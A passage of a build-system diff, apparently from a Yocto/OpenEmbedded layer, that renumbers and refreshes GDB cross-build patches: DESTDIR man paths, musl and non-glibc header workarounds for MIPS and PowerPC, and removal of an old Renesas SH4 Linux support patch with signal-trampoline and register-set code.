-@@ -5940,9 +5940,7 @@ linux_look_up_symbols (void)
- static void
- linux_request_interrupt (void)
- {
-- /* Send a SIGINT to the process group. This acts just like the user
-- typed a ^C on the controlling terminal. */
-- kill (-signal_pid, SIGINT);
-+ kill (signal_pid, SIGINT);
- }
-
- /* Copy LEN bytes from inferior's auxiliary vector starting at OFFSET
diff --git a/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch b/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
new file mode 100644
index 0000000000..824b96f6af
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
@@ -0,0 +1,28 @@
+From a6d3df9d84463ec500d9d01558ab8a17e824e9e5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 2 Mar 2015 02:27:55 +0000
+Subject: [PATCH 01/10] make man install relative to DESTDIR
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sim/common/Make-common.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sim/common/Make-common.in b/sim/common/Make-common.in
+index 8c2cacea1e5..4a52eef2203 100644
+--- a/sim/common/Make-common.in
++++ b/sim/common/Make-common.in
+@@ -63,7 +63,7 @@ tooldir = $(libdir)/$(target_alias)
+ datadir = @datadir@
+ datarootdir = @datarootdir@
+ mandir = @mandir@
+-man1dir = $(mandir)/man1
++man1dir = $(DESTDIR)$(mandir)/man1
+ infodir = @infodir@
+ includedir = @includedir@
+
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0002-make-man-install-relative-to-DESTDIR.patch b/meta/recipes-devtools/gdb/gdb/0002-make-man-install-relative-to-DESTDIR.patch
deleted file mode 100644
index 60479e5410..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0002-make-man-install-relative-to-DESTDIR.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From b0209f282716bed2c230c7b496fbcc7af503d0cc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 02:27:55 +0000
-Subject: [PATCH 02/11] make man install relative to DESTDIR
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sim/common/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sim/common/Makefile.in b/sim/common/Makefile.in
-index 227e4cfbc2..8c3457e0bd 100644
---- a/sim/common/Makefile.in
-+++ b/sim/common/Makefile.in
-@@ -35,7 +35,7 @@ tooldir = $(libdir)/$(target_alias)
- datarootdir = @datarootdir@
- datadir = @datadir@
- mandir = @mandir@
--man1dir = $(mandir)/man1
-+man1dir = $(DESTDIR)$(mandir)/man1
- infodir = @infodir@
- includedir = @includedir@
-
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch b/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
new file mode 100644
index 0000000000..591c9bfa3f
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
@@ -0,0 +1,35 @@
+From 7f1f25eaaace289bc33c5aaa1c5fe9e04e719651 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 23 Mar 2016 06:30:09 +0000
+Subject: [PATCH 02/10] mips-linux-nat: Define _ABIO32 if not defined
+
+This helps building gdb on mips64 on musl, since
+musl does not provide sgidefs.h this define is
+only defined when GCC is using o32 ABI, in that
+case gcc emits it as built-in define and hence
+it works ok for mips32
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdb/mips-linux-nat.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
+index b21c7cb2ea6..6614b4de31e 100644
+--- a/gdb/mips-linux-nat.c
++++ b/gdb/mips-linux-nat.c
+@@ -41,6 +41,10 @@
+ #ifndef PTRACE_GET_THREAD_AREA
+ #define PTRACE_GET_THREAD_AREA 25
+ #endif
++/* musl does not define and relies on compiler built-in macros for it */
++#ifndef _ABIO32
++#define _ABIO32 1
++#endif
+
+ class mips_linux_nat_target final : public linux_nat_trad_target
+ {
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0003-mips-linux-nat-Define-_ABIO32-if-not-defined.patch b/meta/recipes-devtools/gdb/gdb/0003-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
deleted file mode 100644
index cf54c74c09..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0003-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b14a57d90e1cdd8144cda4c8882bd1db44d26dab Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 23 Mar 2016 06:30:09 +0000
-Subject: [PATCH 03/11] mips-linux-nat: Define _ABIO32 if not defined
-
-This helps building gdb on mips64 on musl, since
-musl does not provide sgidefs.h this define is
-only defined when GCC is using o32 ABI, in that
-case gcc emits it as built-in define and hence
-it works ok for mips32
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/mips-linux-nat.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
-index 32835c16b2..68a7587af2 100644
---- a/gdb/mips-linux-nat.c
-+++ b/gdb/mips-linux-nat.c
-@@ -41,6 +41,10 @@
- #ifndef PTRACE_GET_THREAD_AREA
- #define PTRACE_GET_THREAD_AREA 25
- #endif
-+/* musl does not define and relies on compiler built-in macros for it */
-+#ifndef _ABIO32
-+#define _ABIO32 1
-+#endif
-
- class mips_linux_nat_target final : public linux_nat_trad_target
- {
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch b/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
new file mode 100644
index 0000000000..09ea533b00
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
@@ -0,0 +1,53 @@
+From 0cb233ec3951582fa1a051a16bfd644ef4969df5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 18:32:14 -0700
+Subject: [PATCH 03/10] ppc/ptrace: Define pt_regs uapi_pt_regs on !GLIBC
+ systems
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdb/nat/ppc-linux.h | 6 ++++++
+ gdbserver/linux-ppc-low.cc | 6 ++++++
+ 2 files changed, 12 insertions(+)
+
+diff --git a/gdb/nat/ppc-linux.h b/gdb/nat/ppc-linux.h
+index e712a9a5713..76bbcca0928 100644
+--- a/gdb/nat/ppc-linux.h
++++ b/gdb/nat/ppc-linux.h
+@@ -18,7 +18,13 @@
+ #ifndef NAT_PPC_LINUX_H
+ #define NAT_PPC_LINUX_H
+
++#if !defined(__GLIBC__)
++# define pt_regs uapi_pt_regs
++#endif
+ #include <asm/ptrace.h>
++#if !defined(__GLIBC__)
++# undef pt_regs
++#endif
+ #include <asm/cputable.h>
+
+ /* This sometimes isn't defined. */
+diff --git a/gdbserver/linux-ppc-low.cc b/gdbserver/linux-ppc-low.cc
+index db9a88219ea..151e4183bb1 100644
+--- a/gdbserver/linux-ppc-low.cc
++++ b/gdbserver/linux-ppc-low.cc
+@@ -23,7 +23,13 @@
+ #include "elf/common.h"
+ #include <sys/uio.h>
+ #include <elf.h>
++#if !defined(__GLIBC__)
++# define pt_regs uapi_pt_regs
++#endif
+ #include <asm/ptrace.h>
++#if !defined(__GLIBC__)
++# undef pt_regs
++#endif
+
+ #include "arch/ppc-linux-common.h"
+ #include "arch/ppc-linux-tdesc.h"
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0004-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch b/meta/recipes-devtools/gdb/gdb/0004-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
deleted file mode 100644
index 170d512ef7..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0004-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From da30370c1e3ff7728a857e119e0529a9f097086e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 18:32:14 -0700
-Subject: [PATCH] ppc/ptrace: Define pt_regs uapi_pt_regs on !GLIBC systems
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- gdb/gdbserver/linux-ppc-low.c | 6 ++++++
- gdb/nat/ppc-linux.h | 6 ++++++
- 2 files changed, 12 insertions(+)
-
-diff --git a/gdb/gdbserver/linux-ppc-low.c b/gdb/gdbserver/linux-ppc-low.c
-index 1b695e53..1978347c 100644
---- a/gdb/gdbserver/linux-ppc-low.c
-+++ b/gdb/gdbserver/linux-ppc-low.c
-@@ -23,7 +23,13 @@
- #include "elf/common.h"
- #include <sys/uio.h>
- #include <elf.h>
-+#if !defined(__GLIBC__)
-+# define pt_regs uapi_pt_regs
-+#endif
- #include <asm/ptrace.h>
-+#if !defined(__GLIBC__)
-+# undef pt_regs
-+#endif
-
- #include "arch/ppc-linux-common.h"
- #include "arch/ppc-linux-tdesc.h"
-diff --git a/gdb/nat/ppc-linux.h b/gdb/nat/ppc-linux.h
-index f1561b3b..40399361 100644
---- a/gdb/nat/ppc-linux.h
-+++ b/gdb/nat/ppc-linux.h
-@@ -18,7 +18,13 @@
- #ifndef NAT_PPC_LINUX_H
- #define NAT_PPC_LINUX_H
-
-+#if !defined(__GLIBC__)
-+# define pt_regs uapi_pt_regs
-+#endif
- #include <asm/ptrace.h>
-+#if !defined(__GLIBC__)
-+# undef pt_regs
-+#endif
- #include <asm/cputable.h>
-
- /* This sometimes isn't defined. */
diff --git a/meta/recipes-devtools/gdb/gdb/0005-Add-support-for-Renesas-SH-sh4-architecture.patch b/meta/recipes-devtools/gdb/gdb/0005-Add-support-for-Renesas-SH-sh4-architecture.patch
deleted file mode 100644
index f840cafe2e..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0005-Add-support-for-Renesas-SH-sh4-architecture.patch
+++ /dev/null
@@ -1,914 +0,0 @@
-From 215486b53a7a6dfca064cd2e9196a9de6ed6f0c2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 02:31:12 +0000
-Subject: [PATCH 05/11] Add support for Renesas SH (sh4) architecture.
-
-gdb (7.4-1~cvs20111117.2) experimental; urgency=low
- .
- * Add Renesas SH (sh4) support (Closes: #576242)
- - Thanks Nobuhiro Iwamatsu, Takashi Yoshii.
-Author: Hector Oron <zumbi@debian.org>
-Bug-Debian: http://bugs.debian.org/576242
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/Makefile.in | 2 +
- gdb/configure.host | 1 +
- gdb/sh-linux-tdep.c | 519 +++++++++++++++++++++++++++
- gdb/sh-tdep.c | 53 ++-
- gdb/sh-tdep.h | 49 +++
- gdb/testsuite/gdb.asm/asm-source.exp | 5 +
- gdb/testsuite/gdb.asm/sh.inc | 3 +-
- gdb/testsuite/gdb.base/annota1.c | 3 +
- gdb/testsuite/gdb.base/annota3.c | 4 +
- gdb/testsuite/gdb.base/sigall.c | 3 +
- gdb/testsuite/gdb.base/signals.c | 4 +
- 11 files changed, 617 insertions(+), 29 deletions(-)
-
-diff --git a/gdb/Makefile.in b/gdb/Makefile.in
-index c76a4e4394..921fdadb49 100644
---- a/gdb/Makefile.in
-+++ b/gdb/Makefile.in
-@@ -2326,6 +2326,8 @@ ALLDEPFILES = \
- sh-nbsd-nat.c \
- sh-nbsd-tdep.c \
- sh-tdep.c \
-+ sh-linux-tdep.c \
-+ sh-linux-nat.c \
- sol2-tdep.c \
- solib-aix.c \
- solib-spu.c \
-diff --git a/gdb/configure.host b/gdb/configure.host
-index 23a2f16399..39a886ec53 100644
---- a/gdb/configure.host
-+++ b/gdb/configure.host
-@@ -153,6 +153,7 @@ riscv*-*-linux*) gdb_host=linux ;;
-
- s390*-*-linux*) gdb_host=linux ;;
-
-+sh*-*-linux*) gdb_host=linux ;;
- sh*-*-netbsdelf* | sh*-*-knetbsd*-gnu)
- gdb_host=nbsd ;;
- sh*-*-openbsd*) gdb_host=nbsd ;;
-diff --git a/gdb/sh-linux-tdep.c b/gdb/sh-linux-tdep.c
-index db93967910..4109c549e8 100644
---- a/gdb/sh-linux-tdep.c
-+++ b/gdb/sh-linux-tdep.c
-@@ -18,14 +18,37 @@
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
- #include "defs.h"
-+#include "gdbcore.h"
-+#include "frame.h"
-+#include "frame-base.h"
-+#include "frame-unwind.h"
-+#include "dwarf2-frame.h"
-+#include "value.h"
-+#include "regcache.h"
-+#include "inferior.h"
- #include "osabi.h"
-
-+#include "reggroups.h"
-+#include "arch-utils.h"
-+#include "floatformat.h"
- #include "solib-svr4.h"
- #include "symtab.h"
-+#include "gdb_string.h"
-+#include "command.h"
-+#include "gdb_assert.h"
-
- #include "trad-frame.h"
- #include "tramp-frame.h"
-
-+#include <sys/ptrace.h>
-+#include <sys/types.h>
-+#include <sys/param.h>
-+#include <sys/user.h>
-+#include <sys/syscall.h>
-+
-+#include <asm/ptrace.h>
-+
-+#include "regset.h"
- #include "glibc-tdep.h"
- #include "sh-tdep.h"
- #include "linux-tdep.h"
-@@ -180,9 +203,505 @@ static struct tramp_frame sh_linux_rt_sigreturn_tramp_frame = {
- sh_linux_rt_sigreturn_init
- };
-
-+/* Recognizing signal handler frames. */
-+
-+/* GNU/Linux has two flavors of signals. Normal signal handlers, and
-+ "realtime" (RT) signals. The RT signals can provide additional
-+ information to the signal handler if the SA_SIGINFO flag is set
-+ when establishing a signal handler using `sigaction'. It is not
-+ unlikely that future versions of GNU/Linux will support SA_SIGINFO
-+ for normal signals too. */
-+
-+/* When the SH Linux kernel calls a signal handler and the
-+ SA_RESTORER flag isn't set, the return address points to a bit of
-+ code on the stack. This function returns whether the PC appears to
-+ be within this bit of code.
-+
-+ The instruction sequence for normal signals is
-+ mov.w 1f,r3
-+ trapa #16
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ 1: .word __NR_sigreturn
-+ or 0x9305 0xc310 0x200b 0x200b 0x200b 0x200b 0x200b 0x0077.
-+
-+ Checking for the code sequence should be somewhat reliable, because
-+ the effect is to call the system call sigreturn. This is unlikely
-+ to occur anywhere other than a signal trampoline.
-+
-+ It kind of sucks that we have to read memory from the process in
-+ order to identify a signal trampoline, but there doesn't seem to be
-+ any other way. The PC_IN_SIGTRAMP macro in tm-linux.h arranges to
-+ only call us if no function name could be identified, which should
-+ be the case since the code is on the stack.
-+
-+ Detection of signal trampolines for handlers that set the
-+ SA_RESTORER flag is in general not possible. Unfortunately this is
-+ what the GNU C Library has been doing for quite some time now.
-+ However, as of version 2.1.2, the GNU C Library uses signal
-+ trampolines (named __restore and __restore_rt) that are identical
-+ to the ones used by the kernel. Therefore, these trampolines are
-+ supported too. */
-+
-+#define MOVW(n) (0x9300|((n)-2)) /* Move mem word at PC+n to R3 */
-+#define TRAP16 0xc310 /* Syscall w/no args (NR in R3) */
-+#define OR_R0_R0 0x200b /* or r0,r0 (insert to avoid hardware bug) */
-+
-+#define LINUX_SIGTRAMP_INSN0 MOVW(7) /* Move mem word at PC+7 to R3 */
-+#define LINUX_SIGTRAMP_INSN1 TRAP16 /* Syscall w/no args (NR in R3) */
-+#define LINUX_SIGTRAMP_INSN2 OR_R0_R0 /* or r0,r0 (insert to avoid hardware bug) */
-+
-+static const unsigned short linux_sigtramp_code[] =
-+{
-+ LINUX_SIGTRAMP_INSN0,
-+ LINUX_SIGTRAMP_INSN1,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ __NR_sigreturn
-+};
-+
-+#define LINUX_SIGTRAMP_LEN (sizeof linux_sigtramp_code)
-+
-+/* If PC is in a sigtramp routine, return the address of the start of
-+ the routine. Otherwise, return 0. */
-+
-+static CORE_ADDR
-+sh_linux_sigtramp_start (struct frame_info *next_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (next_frame);
-+ gdb_byte buf[LINUX_SIGTRAMP_LEN];
-+
-+ /* We only recognize a signal trampoline if PC is at the start of
-+ one of the three instructions. We optimize for finding the PC at
-+ the start, as will be the case when the trampoline is not the
-+ first frame on the stack. We assume that in the case where the
-+ PC is not at the start of the instruction sequence, there will be
-+ a few trailing readable bytes on the stack. */
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_SIGTRAMP_LEN))
-+ return 0;
-+
-+ if (buf[0] != LINUX_SIGTRAMP_INSN0)
-+ {
-+ if (buf[0] != LINUX_SIGTRAMP_INSN1)
-+ return 0;
-+
-+ pc -= 2;
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_SIGTRAMP_LEN))
-+ return 0;
-+ }
-+
-+ if (memcmp (buf, linux_sigtramp_code, LINUX_SIGTRAMP_LEN) != 0)
-+ return 0;
-+
-+ return pc;
-+}
-+
-+/* This function does the same for RT signals. Here the instruction
-+ sequence is
-+ mov.w 1f,r3
-+ trapa #16
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ 1: .word __NR_rt_sigreturn
-+ or 0x9305 0xc310 0x200b 0x200b 0x200b 0x200b 0x200b 0x00ad.
-+
-+ The effect is to call the system call rt_sigreturn. */
-+
-+#define LINUX_RT_SIGTRAMP_INSN0 MOVW(7) /* Move mem word at PC+7 to R3 */
-+#define LINUX_RT_SIGTRAMP_INSN1 TRAP16 /* Syscall w/no args (NR in R3) */
-+#define LINUX_RT_SIGTRAMP_INSN2 OR_R0_R0 /* or r0,r0 (insert to avoid hardware bug) */
-+
-+static const unsigned short linux_rt_sigtramp_code[] =
-+{
-+ LINUX_RT_SIGTRAMP_INSN0,
-+ LINUX_RT_SIGTRAMP_INSN1,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ __NR_rt_sigreturn
-+};
-+
-+#define LINUX_RT_SIGTRAMP_LEN (sizeof linux_rt_sigtramp_code)
-+
-+/* If PC is in a RT sigtramp routine, return the address of the start
-+ of the routine. Otherwise, return 0. */
-+
-+static CORE_ADDR
-+sh_linux_rt_sigtramp_start (struct frame_info *next_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (next_frame);
-+ gdb_byte buf[LINUX_RT_SIGTRAMP_LEN];
-+
-+ /* We only recognize a signal trampoline if PC is at the start of
-+ one of the two instructions. We optimize for finding the PC at
-+ the start, as will be the case when the trampoline is not the
-+ first frame on the stack. We assume that in the case where the
-+ PC is not at the start of the instruction sequence, there will be
-+ a few trailing readable bytes on the stack. */
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_RT_SIGTRAMP_LEN))
-+ return 0;
-+
-+ if (buf[0] != LINUX_RT_SIGTRAMP_INSN0)
-+ {
-+ if (buf[0] != LINUX_RT_SIGTRAMP_INSN1)
-+ return 0;
-+
-+ pc -= 2;
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf,
-+ LINUX_RT_SIGTRAMP_LEN))
-+ return 0;
-+ }
-+
-+ if (memcmp (buf, linux_rt_sigtramp_code, LINUX_RT_SIGTRAMP_LEN) != 0)
-+ return 0;
-+
-+ return pc;
-+}
-+
-+/* Return whether PC is in a GNU/Linux sigtramp routine. */
-+
-+static int
-+sh_linux_sigtramp_p (struct frame_info *this_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (this_frame);
-+ char *name;
-+
-+ find_pc_partial_function (pc, &name, NULL, NULL);
-+
-+ /* If we have NAME, we can optimize the search. The trampolines are
-+ named __restore and __restore_rt. However, they aren't dynamically
-+ exported from the shared C library, so the trampoline may appear to
-+ be part of the preceding function. This should always be sigaction,
-+ __sigaction, or __libc_sigaction (all aliases to the same function). */
-+ if (name == NULL || strstr (name, "sigaction") != NULL)
-+ return (sh_linux_sigtramp_start (this_frame) != 0
-+ || sh_linux_rt_sigtramp_start (this_frame) != 0);
-+
-+ return (strcmp ("__restore", name) == 0
-+ || strcmp ("__restore_rt", name) == 0);
-+}
-+
-+/* Offset to struct sigcontext in ucontext, from <asm/ucontext.h>. */
-+#define SH_LINUX_UCONTEXT_SIGCONTEXT_OFFSET 12
-+
-+
-+/* Assuming NEXT_FRAME is a frame following a GNU/Linux sigtramp
-+ routine, return the address of the associated sigcontext structure. */
-+
-+static CORE_ADDR
-+sh_linux_sigcontext_addr (struct frame_info *this_frame)
-+{
-+ CORE_ADDR pc;
-+ CORE_ADDR sp;
-+
-+ sp = get_frame_register_unsigned (this_frame, SP_REGNUM);
-+
-+ pc = sh_linux_sigtramp_start (this_frame);
-+ if (pc)
-+ {
-+ return sp;
-+ }
-+
-+ pc = sh_linux_rt_sigtramp_start (this_frame);
-+ if (pc)
-+ {
-+ CORE_ADDR ucontext_addr;
-+
-+ /* The sigcontext structure is part of the user context. A
-+ pointer to the user context is passed as the third argument
-+ to the signal handler. */
-+ ucontext_addr = get_frame_register_unsigned (this_frame, ARG0_REGNUM+2);
-+ return ucontext_addr + SH_LINUX_UCONTEXT_SIGCONTEXT_OFFSET;
-+ }
-+
-+ error ("Couldn't recognize signal trampoline.");
-+ return 0;
-+}
-+
-+/* Signal trampolines. */
-+extern struct sh_frame_cache *sh_alloc_frame_cache (void);
-+
-+static struct sh_frame_cache *
-+sh_linux_sigtramp_frame_cache (struct frame_info *this_frame, void **this_cache)
-+{
-+ struct sh_frame_cache *cache;
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (get_current_arch ());
-+ CORE_ADDR sigcontext_addr;
-+
-+ if (*this_cache)
-+ return *this_cache;
-+
-+ cache = sh_alloc_frame_cache ();
-+
-+ cache->base = get_frame_register_unsigned (this_frame, SP_REGNUM);
-+ sigcontext_addr = tdep->sigcontext_addr (this_frame);
-+ if (tdep->sc_reg_offset)
-+ {
-+ int i;
-+
-+ gdb_assert (tdep->sc_num_regs <= SH_NUM_REGS);
-+
-+ for (i = 0; i < tdep->sc_num_regs; i++)
-+ if (tdep->sc_reg_offset[i] != -1)
-+ cache->saved_regs[i] = sigcontext_addr + tdep->sc_reg_offset[i];
-+ }
-+
-+ *this_cache = cache;
-+ return cache;
-+}
-+
-+static void
-+sh_linux_sigtramp_frame_this_id (struct frame_info *this_frame, void **this_cache,
-+ struct frame_id *this_id)
-+{
-+ struct sh_frame_cache *cache =
-+ sh_linux_sigtramp_frame_cache (this_frame, this_cache);
-+
-+ (*this_id) = frame_id_build (cache->base + 64, cache->pc);
-+}
-+
-+extern struct value * sh_frame_prev_register ();
-+static struct value *
-+sh_linux_sigtramp_frame_prev_register (struct frame_info *this_frame,
-+ void **this_cache, int regnum)
-+{
-+ sh_linux_sigtramp_frame_cache (this_frame, this_cache);
-+
-+ return sh_frame_prev_register (this_frame, this_cache, regnum);
-+}
-+
-+static int
-+sh_linux_sigtramp_frame_sniffer (const struct frame_unwind *self,
-+ struct frame_info *this_frame,
-+ void **this_prologue_cache)
-+{
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (get_frame_arch (this_frame));
-+
-+ /* We shouldn't even bother if we don't have a sigcontext_addr
-+ handler. */
-+ if (tdep->sigcontext_addr == NULL)
-+ return 0;
-+
-+ if (tdep->sigtramp_p != NULL)
-+ {
-+ if (tdep->sigtramp_p (this_frame))
-+ return 1;
-+ }
-+
-+ return 0;
-+}
-+
-+static const struct frame_unwind sh_linux_sigtramp_frame_unwind =
-+{
-+ SIGTRAMP_FRAME,
-+ sh_linux_sigtramp_frame_this_id,
-+ sh_linux_sigtramp_frame_prev_register,
-+ NULL,
-+ sh_linux_sigtramp_frame_sniffer
-+};
-+
-+/* Supply register REGNUM from the buffer specified by GREGS and LEN
-+ in the general-purpose register set REGSET to register cache
-+ REGCACHE. If REGNUM is -1, do this for all registers in REGSET. */
-+
-+void
-+sh_supply_gregset (const struct regset *regset, struct regcache *regcache,
-+ int regnum, const void *gregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ const char *regs = gregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_gregset);
-+
-+ for (i = 0; i < tdep->gregset_num_regs; i++)
-+ {
-+ if ((regnum == i || regnum == -1)
-+ && tdep->gregset_reg_offset[i] != -1)
-+ regcache_raw_supply (regcache, i, regs + tdep->gregset_reg_offset[i]);
-+ }
-+}
-+
-+/* Collect register REGNUM from the register cache REGCACHE and store
-+ it in the buffer specified by GREGS and LEN as described by the
-+ general-purpose register set REGSET. If REGNUM is -1, do this for
-+ all registers in REGSET. */
-+
-+void
-+sh_collect_gregset (const struct regset *regset,
-+ const struct regcache *regcache,
-+ int regnum, void *gregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ char *regs = gregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_gregset);
-+
-+ for (i = 0; i < tdep->gregset_num_regs; i++)
-+ {
-+ if ((regnum == i || regnum == -1)
-+ && tdep->gregset_reg_offset[i] != -1)
-+ regcache_raw_collect (regcache, i, regs + tdep->gregset_reg_offset[i]);
-+ }
-+}
-+
-+/* Supply register REGNUM from the buffer specified by FPREGS and LEN
-+ in the floating-point register set REGSET to register cache
-+ REGCACHE. If REGNUM is -1, do this for all registers in REGSET. */
-+
-+static void
-+sh_supply_fpregset (const struct regset *regset, struct regcache *regcache,
-+ int regnum, const void *fpregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ const char *regs = fpregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_fpregset);
-+ for (i = 0; i < 16; i++)
-+ {
-+ if (regnum == i+25 || regnum == -1)
-+ regcache_raw_supply (regcache, i+25, regs + i*4);
-+ }
-+ if (regnum == FPSCR_REGNUM || regnum == -1)
-+ regcache_raw_supply (regcache, FPSCR_REGNUM, regs + 32*4);
-+ if (regnum == FPUL_REGNUM || regnum == -1)
-+ regcache_raw_supply (regcache, FPUL_REGNUM, regs + 33*4);
-+}
-+
-+/* Collect register REGNUM from the register cache REGCACHE and store
-+ it in the buffer specified by FPREGS and LEN as described by the
-+ floating-point register set REGSET. If REGNUM is -1, do this for
-+ all registers in REGSET. */
-+
-+static void
-+sh_collect_fpregset (const struct regset *regset,
-+ const struct regcache *regcache,
-+ int regnum, void *fpregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ char *regs = fpregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_fpregset);
-+ for (i = 0; i < 16; i++)
-+ {
-+ if (regnum == i+25 || regnum == -1)
-+ regcache_raw_collect (regcache, i+25, regs + i*4);
-+ }
-+ if (regnum == FPSCR_REGNUM || regnum == -1)
-+ regcache_raw_collect (regcache, FPSCR_REGNUM, regs + 32*4);
-+ if (regnum == FPUL_REGNUM || regnum == -1)
-+ regcache_raw_collect (regcache, FPUL_REGNUM, regs + 33*4);
-+}
-+
-+/* Return the appropriate register set for the core section identified
-+ by SECT_NAME and SECT_SIZE. */
-+
-+const struct regset *
-+sh_linux_regset_from_core_section (struct gdbarch *gdbarch,
-+ const char *sect_name, size_t sect_size)
-+{
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);
-+
-+ if (strcmp (sect_name, ".reg") == 0 && sect_size == tdep->sizeof_gregset)
-+ {
-+ if (tdep->gregset == NULL)
-+ tdep->gregset = regset_alloc (gdbarch, sh_supply_gregset,
-+ sh_collect_gregset);
-+ return tdep->gregset;
-+ }
-+
-+ if ((strcmp (sect_name, ".reg2") == 0 && sect_size == tdep->sizeof_fpregset))
-+ {
-+ if (tdep->fpregset == NULL)
-+ tdep->fpregset = regset_alloc (gdbarch, sh_supply_fpregset,
-+ sh_collect_fpregset);
-+ return tdep->fpregset;
-+ }
-+
-+ return NULL;
-+}
-+
-+/* The register sets used in GNU/Linux ELF core-dumps are identical to
-+ the register sets in `struct user' that are used for a.out
-+ core-dumps. These are also used by ptrace(2). The corresponding
-+ types are `elf_gregset_t' for the general-purpose registers (with
-+ `elf_greg_t' the type of a single GP register) and `elf_fpregset_t'
-+ for the floating-point registers.
-+
-+ Those types used to be available under the names `gregset_t' and
-+ `fpregset_t' too, and GDB used those names in the past. But those
-+ names are now used for the register sets used in the `mcontext_t'
-+ type, which have a different size and layout. */
-+
-+/* Mapping between the general-purpose registers in `struct user'
-+ format and GDB's register cache layout. */
-+
